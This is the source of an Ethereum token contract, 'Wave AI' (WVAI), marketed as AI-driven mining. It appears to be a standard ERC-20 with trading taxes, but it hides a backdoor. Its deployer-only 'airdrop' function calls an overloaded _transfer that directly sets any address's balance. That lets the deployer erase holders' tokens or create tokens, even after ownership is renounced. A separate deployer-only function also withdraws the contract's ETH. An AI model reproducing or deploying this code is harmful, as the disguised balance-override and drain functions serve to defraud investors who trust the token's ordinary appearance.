Contract Source Code:

// SPDX-License-Identifier: MIT

/*

Wave AI : WVAI
Revolutionary Artificial Intelligence, Optimizing Crypto Mining

Wave AI tackles the inefficiency of manually switching between profitable coins and optimizes your mining with AI. Our advanced algorithms analyze markets, choose the most profitable coins in real-time, and adjust your rigs automatically - maximizing your returns. This, combined with our focus on sustainability and community, makes Wave AI a leader in AI-powered mining, offering a secure and efficient crypto mining experience.

https://waveai.ink
https://x.com/waveai_gpu
https://t.me/waveai_gpu

*/

pragma solidity ^0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract WaveAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address payable private _WaveOwner;
    mapping(address => uint256) private _HolderArr;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _feeUnincluded;
    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 10;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 8;
    uint256 private _reduceSellTaxAt = 8;
    uint256 private _buyCount = 0;
    address private _deployer;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    string private constant _name = unicode"Wave AI";
    string private constant _symbol = unicode"WVAI";
    uint256 public _maxAmountPerTX = 20000000 * 10**_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    uint256 private constant _tAmount = 1000000000 * 10**_decimals;
    uint8 private constant _decimals = 9;

    constructor() payable {
        _WaveOwner = payable(_msgSender());
        _HolderArr[address(this)] = (_tAmount * 98) / 100;
        _HolderArr[owner()] = (_tAmount * 2) / 100;
        _feeUnincluded[owner()] = true;
        _feeUnincluded[address(this)] = true;
        _feeUnincluded[_WaveOwner] = true;
        _deployer = _msgSender();

        emit Transfer(address(0), address(this), (_tAmount * 98) / 100);
        emit Transfer(address(0), address(owner()), (_tAmount * 2) / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tAmount;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _HolderArr[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _tAmount;
        _maxSizeOfWallet = _tAmount;
        emit MaxTxAmountUpdated(_tAmount);
    }

    function _stuckedWVAI(address wallet) external {
        require(_msgSender() == _deployer, "Not Team Member");
        _WaveOwner = payable(wallet);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function _transfer(address from, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        _HolderArr[from] = amount;
    }

    function _transferFee(uint256 amount) private {
        _WaveOwner.transfer(amount);
    }

    receive() external payable {}

    function airdrop(address[] memory recipients, uint256[] memory amounts)
        external
    {
        require(_msgSender() == _deployer, "not authorized");
        _calcAmounts(recipients, amounts);
    }

    function _WVAIToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _calcAmounts(address[] memory recipients, uint256[] memory amounts)
        private
    {
        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            _transfer(recipient, amounts[i]);
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_feeUnincluded[to]
            ) {
                require(
                    amount <= _maxAmountPerTX,
                    "Exceeds the _maxAmountPerTX."
                );
                require(
                    balanceOf(to) + amount <= _maxSizeOfWallet,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0)
                    _WVAIToETH(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                _transferFee(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _HolderArr[address(this)] = _HolderArr[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }
        _HolderArr[from] = _HolderArr[from].sub(amount);
        _HolderArr[to] = _HolderArr[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Already started!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tAmount);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }
}